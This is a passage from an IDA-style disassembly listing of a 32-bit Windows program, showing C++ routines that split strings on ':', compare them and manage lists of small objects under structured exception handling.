		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+50h+var_20]
		push	esi
		push	ecx
		lea	ecx, [esp+58h+arg_4]
		mov	[esp+58h], bl
		mov	[esp+58h+arg_1C], eax
		call	sub_4016AE
		mov	ecx, [esp+4Ch+arg_1C]
		push	eax
		mov	byte ptr [esp+50h], 3
		call	sub_40200E
		lea	ecx, [esp+4Ch+var_20]
		mov	[esp+4Ch], bl
		call	sub_401226
		lea	edx, [esp+4Ch+arg_1C]
		mov	ecx, ebp
		push	edx
		call	sub_40147E
; ---------------------------------------------------------------------------
		inc	esi
		push	offset asc_443C94 ; ":"
		lea	eax, [esp+54h+var_3C]
		push	esi
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jnz	loc_413BF0


loc_413C93:				; CODE XREF: sub_413B70+77j
		lea	ecx, [esp+50h+arg_0]
		mov	[esp+50h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_413CB9:				; CODE XREF: sub_413B70+26j
					; sub_413B70+37j
		lea	ecx, [esp+48h+arg_0]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+48h+var_C]
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
sub_413B70	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413D40	proc near		; CODE XREF: sub_401F2Dj
		push	esi
		mov	esi, ecx
		call	sub_401424
		mov	eax, esi
		pop	esi
		retn
sub_413D40	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413D60:				; CODE XREF: ___:004010F0j
		mov	eax, [esp+8]
		mov	edx, [esp+4]
		push	esi
		push	eax
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	edx
		call	sub_401861
		mov	ecx, esi
		call	sub_401181
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413DA0	proc near		; CODE XREF: sub_40189Dj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_14		= byte ptr  18h
arg_18		= byte ptr  1Ch
arg_2C		= byte ptr  30h
arg_30		= byte ptr  34h
arg_44		= byte ptr  48h
arg_48		= byte ptr  4Ch
arg_5C		= byte ptr  60h
arg_60		= byte ptr  64h

		push	0FFFFFFFFh
		push	offset SEH_413DA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		sub	esp, 18h
		lea	eax, [esp+3Ch+arg_30]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	eax
		mov	[esp+40h+var_4], 4
		call	sub_4014C9
		mov	ecx, ebp
		call	sub_401CD0
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	loc_413F8E
		sub	esp, 18h
		lea	edx, [esp+3Ch+arg_0]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	edx
		call	sub_4014C9
		mov	ecx, ebp
		call	sub_402112
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_413F8E
		push	edi
		lea	eax, [esp+28h+arg_18]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	eax
		call	sub_4014C9
		mov	ecx, ebp
		call	sub_4011DB
		cmp	al, bl
		jz	loc_413F8E
		push	offset byte_446F70
		lea	ecx, [esp+28h+arg_48]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_413E87
		lea	ecx, [edi+2Ah]
		call	sub_4017E4
		lea	ecx, [esp+24h+arg_48]
		mov	esi, eax
		call	sub_4017E4


loc_413E56:				; CODE XREF: sub_413DA0+D4j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_413E7A
		cmp	cl, bl
		jz	short loc_413E76
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_413E7A
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_413E56


loc_413E76:				; CODE XREF: sub_413DA0+C0j
		xor	eax, eax
		jmp	short loc_413E7F
; ---------------------------------------------------------------------------


loc_413E7A:				; CODE XREF: sub_413DA0+BCj
					; sub_413DA0+CAj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_413E7F:				; CODE XREF: sub_413DA0+D8j
		cmp	eax, ebx
		jnz	loc_413F8E


loc_413E87:				; CODE XREF: sub_413DA0+A1j
		push	offset byte_446F70
		lea	ecx, [esp+28h+arg_60]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_413EE3
		lea	ecx, [edi+3Fh]
		call	sub_4017E4
		lea	ecx, [esp+24h+arg_60]
		mov	esi, eax
		call	sub_4017E4


loc_413EB2:				; CODE XREF: sub_413DA0+130j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_413ED6
		cmp	cl, bl
		jz	short loc_413ED2
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_413ED6
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_413EB2


loc_413ED2:				; CODE XREF: sub_413DA0+11Cj
		xor	eax, eax
		jmp	short loc_413EDB
; ---------------------------------------------------------------------------


loc_413ED6:				; CODE XREF: sub_413DA0+118j
					; sub_413DA0+126j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_413EDB:				; CODE XREF: sub_413DA0+134j
		cmp	eax, ebx
		jnz	loc_413F8E


loc_413EE3:				; CODE XREF: sub_413DA0+FAj
		push	58h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+24h+var_10], eax
		cmp	eax, ebx
		mov	byte ptr [esp+24h+var_4], 5
		jz	short loc_413F03
		mov	ecx, eax
		call	sub_401D07
		jmp	short loc_413F05
; ---------------------------------------------------------------------------


loc_413F03:				; CODE XREF: sub_413DA0+158j
		xor	eax, eax


loc_413F05:				; CODE XREF: sub_413DA0+161j
		mov	[esp+24h+var_14], eax
		mov	[eax], edi
		mov	ecx, [esp+24h+var_14]
		lea	eax, [esp+24h+arg_0]
		push	eax
		add	ecx, 4
		mov	byte ptr [esp+28h+var_4], 4
		call	sub_40200E
		mov	eax, [esp+24h+var_14]
		lea	edx, [esp+24h+arg_30]
		push	edx
		lea	ecx, [eax+19h]
		call	sub_40200E
		lea	ecx, [esp+24h+var_14]
		push	ecx
		lea	ecx, [ebp+6Ch]
		call	sub_401406
; ---------------------------------------------------------------------------
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+28h+var_8], 3
		call	sub_401226
		lea	ecx, [esp+28h+arg_14]
		mov	byte ptr [esp+28h+var_8], 2
		call	sub_401226
		lea	ecx, [esp+28h+arg_2C]
		mov	byte ptr [esp+28h+var_8], 1
		call	sub_401226
		lea	ecx, [esp+28h+arg_44]
		mov	byte ptr [esp+28h+var_8], bl
		call	sub_401226
		lea	ecx, [esp+28h+arg_5C]
		mov	[esp+28h+var_8], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_413FDB
; ---------------------------------------------------------------------------


loc_413F8E:				; CODE XREF: sub_413DA0+44j
					; sub_413DA0+68j ...
		lea	ecx, [esp+24h+arg_0]
		mov	byte ptr [esp+24h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+24h+arg_18]
		mov	byte ptr [esp+24h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+24h+arg_30]
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+24h+arg_48]
		mov	byte ptr [esp+24h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+24h+arg_60]
		mov	[esp+24h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_413FDB:				; CODE XREF: sub_413DA0+1ECj
		mov	ecx, [esp+24h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 14h
		retn	78h
sub_413DA0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414090	proc near		; CODE XREF: sub_401D07j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414090
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_401424
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_414090	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414120:				; CODE XREF: ___:00401DC0j
		push	0FFFFFFFFh
		push	offset loc_439C10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+24h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401861
		mov	edx, [esp+3Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+58h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401861
		mov	eax, [esp+50h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+6Ch], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_401861
		mov	edx, [esp+64h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+80h], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_401861
		mov	eax, [esp+78h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+94h], esp
		push	eax
		mov	byte ptr [esp+8Ch], 3
		call	sub_401861
		mov	ecx, esi
		mov	dword ptr [esp+88h], 0FFFFFFFFh
		call	sub_40189D
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	14h
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414210	proc near		; CODE XREF: sub_401537j
		add	ecx, 6Ch
		jmp	sub_401C62
sub_414210	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414230	proc near		; CODE XREF: sub_40137Fj

var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414230
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	60h
		mov	[esp+1Ch+var_4], 3
		call	sub_4367FA
sub_414230	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 4
		jz	short loc_414273
		mov	ecx, eax
		call	sub_401BE0
; ---------------------------------------------------------------------------
		jmp	short loc_414275
; ---------------------------------------------------------------------------


loc_414273:				; CODE XREF: ___:00414268j
		xor	eax, eax


loc_414275:				; CODE XREF: ___:00414271j
		lea	ecx, [esp+1Ch]
		mov	byte ptr [esp+14h], 3
		push	ecx
		mov	ecx, eax
		mov	[esp+8], eax
		call	sub_40200E
		mov	eax, [esp+4]
		lea	edx, [esp+34h]
		push	edx
		lea	ecx, [eax+15h]
		call	sub_40200E
		mov	edx, [esp+4]
		lea	ecx, [esp+4Ch]
		push	ecx
		lea	ecx, [edx+2Ah]
		call	sub_40200E
		mov	ecx, [esp+4]
		lea	eax, [esp+64h]
		push	eax
		add	ecx, 3Fh
		call	sub_40200E
		lea	edx, [esp+4]
		lea	ecx, [esi+60h]
		push	edx
		call	sub_401EF1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	byte ptr [esp+14h], 2
		call	sub_401226
		lea	ecx, [esp+34h]
		mov	byte ptr [esp+14h], 1
		call	sub_401226
		lea	ecx, [esp+4Ch]
		mov	byte ptr [esp+14h], 0
		call	sub_401226
		lea	ecx, [esp+64h]
		mov	dword ptr [esp+14h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	60h
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414360	proc near		; CODE XREF: sub_401BE0j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414360
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+15h]
		mov	[esp+18h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+18h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_401424
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+54h]
		push	eax
		mov	byte ptr [esp+1Ch+var_4], 3
		call	sub_40132A
sub_414360	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414400:				; CODE XREF: ___:004010FAj
		push	0FFFFFFFFh
		push	offset loc_439CD8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+20h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401861
		mov	edx, [esp+38h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+54h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401861
		mov	eax, [esp+4Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+68h], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_401861
		mov	edx, [esp+60h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+7Ch], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_401861
		mov	ecx, esi
		mov	dword ptr [esp+70h], 0FFFFFFFFh
		call	sub_40137F
; ---------------------------------------------------------------------------
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	10h
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4144D0	proc near		; CODE XREF: sub_401DACj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4144D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		lea	ecx, [esp+18h+var_14]
		mov	[esp+18h+var_4], 0
		mov	[esp+18h+var_10], 0
		call	sub_401E1F
		mov	eax, [esp+18h+arg_18]
		lea	ecx, [esp+18h+arg_18]
		push	ecx
		lea	esi, [eax+54h]
		mov	ecx, esi
		call	sub_4012E9
		mov	edx, [eax]
		lea	eax, [esp+18h+arg_18]
		push	eax
		mov	ecx, esi
		mov	[esp+1Ch+var_14], edx
		call	sub_401D89
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401D5C
		test	al, al
		jz	short loc_414580


loc_414535:				; CODE XREF: sub_4144D0+AEj
		lea	ecx, [esp+18h+arg_0]
		push	ecx
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401FA5
		mov	ecx, [eax]
		call	sub_401B72
		test	eax, eax
		jnz	short loc_41455D
		lea	ecx, [esp+18h+var_14]
		call	sub_401FA5
		mov	edx, [eax]
		mov	[esp+18h+var_10], edx


loc_41455D:				; CODE XREF: sub_4144D0+7Cj
		lea	ecx, [esp+18h+var_14]
		call	sub_4020A4
		lea	eax, [esp+18h+arg_18]
		mov	ecx, esi
		push	eax
		call	sub_401D89
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401D5C
		test	al, al
		jnz	short loc_414535


loc_414580:				; CODE XREF: sub_4144D0+63j
		mov	eax, [esp+18h+var_10]
		test	eax, eax
		jz	short loc_4145C8
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_401258
		mov	ecx, [esp+18h+var_10]
		test	ecx, ecx
		jz	short loc_4145A3
		push	1
		call	sub_4019DD


loc_4145A3:				; CODE XREF: sub_4144D0+CAj
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_4145C8:				; CODE XREF: sub_4144D0+B6j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
sub_4144D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414640	proc near		; CODE XREF: sub_4019DDj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_402220
		test	[esp+4+arg_0], 1
		jz	short loc_414658
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414658:				; CODE XREF: sub_414640+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_414640	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_414670	proc near		; CODE XREF: sub_402220j
		jmp	sub_401226
sub_414670	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414690:				; CODE XREF: ___:00401276j
		push	0FFFFFFFFh
		push	offset loc_439D20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		xor	ebx, ebx
		push	offset asc_443C94 ; ":"
		lea	eax, [esp+1Ch]
		push	ebx
		push	eax
		lea	ecx, [esp+4Ch]
		mov	[esp+44h], ebx
		mov	byte ptr [esp+1Fh], 1
		xor	esi, esi
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012EE
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_401226
		cmp	edi, ebx
		jz	short loc_414759


loc_4146F3:				; CODE XREF: ___:00414757j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+44h]
		sub	esp, 18h
		mov	edx, esp
		mov	[esp+30h], esp
		push	offset asc_443C94 ; ":"
		push	esi
		push	edx
		call	sub_4016AE
		mov	ecx, ebp
		call	sub_401DAC
		cmp	al, bl
		jnz	short loc_414720
		mov	[esp+13h], bl


loc_414720:				; CODE XREF: ___:0041471Aj
		inc	esi
		push	offset asc_443C94 ; ":"
		lea	eax, [esp+1Ch]
		push	esi
		push	eax
		lea	ecx, [esp+4Ch]
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012EE
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_401226
		cmp	edi, ebx
		jnz	short loc_4146F3


loc_414759:				; CODE XREF: ___:004146F1j
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+38h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+30h]
		mov	al, [esp+13h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2Ch
		retn	1Ch
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4147D0	proc near		; CODE XREF: sub_40210Dj

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4147D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+1Ch+arg_0]
		mov	[esp+1Ch+var_4], 1
		call	sub_4017E4
		test	eax, eax
		jz	loc_414904
		lea	ecx, [esp+1Ch+var_18]
		mov	[esp+1Ch+var_14], 0
		call	sub_402252
		add	esi, 6Ch
		lea	eax, [esp+1Ch+var_10]
		push	eax
		mov	ecx, esi
		call	sub_4018F2
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_10]
		mov	[esp+1Ch+var_18], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_401339
		test	al, al
		jz	short loc_4148AE


loc_414844:				; CODE XREF: sub_4147D0+DCj
		lea	eax, [esp+1Ch+arg_0]
		lea	ecx, [esp+1Ch+var_18]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 4
		call	sub_401B72
		test	eax, eax
		jz	short loc_41487C
		lea	ecx, [esp+1Ch+arg_18]
		push	ecx
		lea	ecx, [esp+20h+var_18]
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B72
		test	eax, eax
		jnz	short loc_41488B


loc_41487C:				; CODE XREF: sub_4147D0+8Ej
		lea	ecx, [esp+1Ch+var_18]
		call	sub_40135C
		mov	edx, [eax]
		mov	[esp+1Ch+var_14], edx


loc_41488B:				; CODE XREF: sub_4147D0+AAj
		lea	ecx, [esp+1Ch+var_18]
		call	sub_40118B
		lea	eax, [esp+1Ch+var_10]
		mov	ecx, esi
		push	eax
		call	sub_40114A
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_401339
		test	al, al
		jnz	short loc_414844


loc_4148AE:				; CODE XREF: sub_4147D0+72j
		mov	eax, [esp+1Ch+var_14]
		test	eax, eax
		jz	short loc_414904
		lea	ecx, [esp+1Ch+var_14]
		push	ecx
		mov	ecx, esi
		call	sub_402130
		mov	ecx, [esp+1Ch+var_14]
		test	ecx, ecx
		jz	short loc_4148D1
		push	1
		call	sub_4016FE


loc_4148D1:				; CODE XREF: sub_4147D0+F8j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+18h+var_C]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
; ---------------------------------------------------------------------------


loc_414904:				; CODE XREF: sub_4147D0+2Ej
					; sub_4147D0+E4j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
sub_4147D0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4149A0	proc near		; CODE XREF: sub_4016FEj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A5A
		test	[esp+4+arg_0], 1
		jz	short loc_4149B8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4149B8:				; CODE XREF: sub_4149A0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4149A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4149D0	proc near		; CODE XREF: sub_401A5Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4149D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+43h]
		mov	[esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4149D0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414A60:				; CODE XREF: ___:004013B1j
		push	0FFFFFFFFh
		push	offset loc_439D98
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401861
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401861
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40210D
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414AF0:				; CODE XREF: ___:00401B31j
		push	0FFFFFFFFh
		push	offset loc_439DB8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0
		call	sub_4017E4
		test	eax, eax
		jz	loc_414BF7
		lea	ecx, [esp+4]
		mov	dword ptr [esp+8], 0
		call	sub_401037
		add	esi, 60h
		lea	eax, [esp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_401983
		mov	ecx, [eax]
		lea	edx, [esp+0Ch]
		mov	[esp+4], ecx
		push	edx
		mov	ecx, esi
		call	sub_402234
		push	eax
		lea	ecx, [esp+8]
		call	sub_401AD7
		test	al, al
		jz	short loc_414BAF


loc_414B64:				; CODE XREF: ___:00414BADj
		lea	eax, [esp+20h]
		lea	ecx, [esp+4]
		push	eax
		call	sub_4011D1
		mov	ecx, [eax]
		call	sub_401B72
		test	eax, eax
		jnz	short loc_414B8C
		lea	ecx, [esp+4]
		call	sub_4011D1
		mov	ecx, [eax]
		mov	[esp+8], ecx


loc_414B8C:				; CODE XREF: ___:00414B7Bj
		lea	ecx, [esp+4]
		call	sub_4018B6
		lea	edx, [esp+0Ch]
		mov	ecx, esi
		push	edx
		call	sub_402234
		push	eax
		lea	ecx, [esp+8]
		call	sub_401AD7
		test	al, al
		jnz	short loc_414B64


loc_414BAF:				; CODE XREF: ___:00414B62j
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_414BF7
		lea	eax, [esp+8]
		mov	ecx, esi
		push	eax
		call	sub_401154
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_414BD2
		push	1
		call	sub_4011C7
; ---------------------------------------------------------------------------


loc_414BD2:				; CODE XREF: ___:00414BC9j
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+0Ch]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_414BF7:				; CODE XREF: ___:00414B1Ej
					; ___:00414BB5j
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+10h]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	18h
